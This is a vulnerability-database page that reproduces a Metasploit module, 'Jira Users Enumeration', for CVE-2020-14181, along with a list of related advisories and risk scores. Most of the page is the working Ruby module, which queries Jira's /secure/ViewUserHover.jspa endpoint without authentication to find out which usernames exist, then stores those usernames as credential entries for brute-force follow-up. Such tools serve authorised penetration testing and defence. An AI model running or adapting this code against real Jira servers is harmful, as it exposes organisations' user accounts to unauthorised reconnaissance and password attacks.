Jira Users Enumeration
🗓️ 16 Aug 2020 00:00:00Reported by Brian Halbach, Mikhail KlyuchnikovType
metasploit🔗 www.rapid7.com👁 57 Views
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| Atlassian JIRA 8.11.1 - User Enumeration Exploit | 10 Mar 202100:00 | – | zdt | |
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Atlassian Data_Center | 26 Oct 202017:07 | – | githubexploit | |
| Exploit for Exposure of Sensitive Information to an Unauthorized Actor in Atlassian Data_Center | 5 Feb 202107:48 | – | githubexploit | |
| CVE-2020-14181 | 16 Sep 202000:00 | – | attackerkb | |
| Sensitive data exposure via /secure/QueryComponent!Default.jspa endpoint - CVE-2020-14179 | 10 Sep 202004:31 | – | atlassian | |
| User Enumeration via /ViewUserHover.jspa - CVE-2020-14181 | 16 Sep 202003:13 | – | atlassian | |
| User Enumeration via /ViewUserHover.jspa - CVE-2020-14181 | 16 Sep 202003:13 | – | atlassian | |
| Jira ViewUserHover XSS | 20 Oct 202000:00 | – | bdu_fstec | |
| CVE-2020-14181 | 15 Sep 202117:55 | – | circl | |
| Atlassian Jira Server and Data Center Information Disclosure Vulnerability (CNVD-2020-52933) | 18 Sep 202000:00 | – | cnvd |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jira Users Enumeration',
'Description' => %q{
This module exploits an information disclosure vulnerability that allows an
unauthenticated user to enumerate users in the /ViewUserHover.jspa endpoint.
This only affects Jira versions < 7.13.16, 8.0.0 <= version < 8.5.7, 8.6.0 <= version < 8.11.1
Discovered by Mikhail Klyuchnikov @__mn1__
This module has been tested on versions 8.4.1, 8.5.6, 8.10.1, 8.11.0
},
'Author' => [
'Brian Halbach', # msf module author
'Mikhail Klyuchnikov' # initial discovery and PoC
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://jira.atlassian.com/browse/JRASERVER-71560'],
['CVE', '2020-14181']
],
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => []
},
'DisclosureDate' => '2020-08-16'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Jira Path', '/']),
]
)
deregister_options('PASS_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'STOP_ON_SUCCESS', 'BLANK_PASSWORDS', 'DB_ALL_CREDS', 'DB_ALL_PASS', 'PASSWORD')
end
def base_uri
@base_uri ||= normalize_uri("#{target_uri.path}/secure/ViewUserHover.jspa")
end
def do_user_enum(user)
print_status("Checking user '#{user}'")
res = send_request_cgi(
'method' => 'GET',
'uri' => base_uri,
'vars_get' => { 'username' => user },
'headers' => { 'Connection' => 'Close' }
)
unless res
print_error('No Response From Server')
return :abort
end
if res.body.include?('User does not exist')
print_bad("User '#{user}' does not exist")
elsif res.body.include?('<a id="avatar-full-name-link"') # this works for 8.4.1 not sure about other versions
connection_details = {
module_fullname: fullname,
username: user,
workspace_id: myworkspace_id,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)
create_credential_and_login(connection_details)
print_good("User exists: '#{user}'")
@users_found << user
end
end
def run_host(_ip)
@users_found = []
print_status("Begin enumerating users at #{vhost}#{base_uri}")
each_user_pass do |user, _pass|
next if user.empty?
do_user_enum(user)
end
if @users_found.empty?
print_status("#{full_uri} - No users found.")
else
print_good("#{@users_found.length} Users found: #{@users_found.sort.join(', ')}")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Aug 2020 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 25
CVSS 3.15.3
EPSS0.99603